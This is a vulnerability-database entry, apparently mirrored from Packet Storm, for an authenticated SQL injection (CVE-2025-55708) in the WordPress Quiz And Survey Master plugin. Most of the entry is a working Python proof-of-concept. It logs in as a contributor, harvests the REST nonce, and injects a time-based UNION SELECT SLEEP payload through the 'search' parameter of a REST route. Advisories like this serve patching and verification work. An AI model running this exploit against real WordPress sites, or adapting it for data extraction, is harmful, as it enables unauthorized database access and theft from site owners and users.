Lucene search
+L

📄 WordPress Quiz and Survey Master 10.2.4 Authenticated Contributor SQL Injection

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 40 Views

Authenticated contributor SQL injection in Quiz And Survey Master REST route via search parameter.

Related
Code
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Quiz And Survey Master <= 10.2.4 - Authenticated (Contributor+) SQL Injection (REST)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/quiz-master-next/
    # Software Link: https://downloads.wordpress.org/plugin/quiz-master-next.10.2.3.zip
    # Version: 10.2.3 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-55708
    """
    Quiz And Survey Master <= 10.2.4 registers REST route
    GET /wp-json/quiz-survey-master/v1/bank_questions/<id> (php/rest-api.php, permission_callback
    current_user_can('edit_qsm_quizzes') — a capability the plugin grants to the Contributor role).
    The callback splices the `search` parameter into the prepare() FORMAT STRING (php/rest-api.php ~177):
    
        $search = sanitize_text_field( wp_unslash($_REQUEST['search']) );
        $search_sql .= " AND (question_settings LIKE '%$search%' OR question_name LIKE '%$search%')";
        $query = $wpdb->prepare("SELECT COUNT(question_id) ... quiz_id LIKE %s $search_sql", $quiz_filter);
    
    Because $search is inside the prepare() template (not an argument), its single quote survives ->
    SQL injection in a single-quoted LIKE. sanitize_text_field keeps quotes/parens; the value is
    un-slashed so a single %27 suffices (no %2527).
    
    Payload closes the LIKE and appends a UNION so the delay fires regardless of table contents:
        zzz%') UNION SELECT SLEEP(5)-- -
    
    Prior state: any Contributor account. The `edit_qsm_quizzes` cap is auto-added to the Contributor
    role the first time a contributor loads wp-admin, so the PoC logs in and loads /wp-admin/ once, then
    harvests the wp_rest nonce from admin-ajax rest-nonce.
    """
    import argparse, sys, time, urllib.parse
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--user", default="qmncontrib")
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
        s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        s.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        s.get(base + "/wp-admin/")  # triggers the edit_qsm_quizzes capability grant
        nonce = s.get(base + "/wp-admin/admin-ajax.php?action=rest-nonce").text.strip()
        if not nonce or nonce == "0":
            print("[-] login failed / no wp_rest nonce"); return 1
        print(f"[*] Target: {base} | user: {args.user} | wp_rest nonce: {nonce}")
    
        def probe(sec):
            inj = "zzz%') UNION SELECT SLEEP(" + str(sec) + ")-- -"
            url = base + "/wp-json/quiz-survey-master/v1/bank_questions/1?search=" + urllib.parse.quote(inj)
            t = time.time()
            r = s.get(url, headers={"X-WP-Nonce": nonce}, timeout=60)
            return time.time() - t, r.status_code
    
        t0, c0 = probe(0)
        t5, c5 = probe(args.sleep)
        print(f"[*] SLEEP(0): {t0:.2f}s (http {c0}) | SLEEP({args.sleep}): {t5:.2f}s (http {c5})")
        if c5 == 200 and (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED — contributor-controlled SLEEP({args.sleep}) delayed the "
                  f"response by {t5 - t0:.2f}s (search param, bank_questions REST route).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.18.5
EPSS0.00269
SSVC
40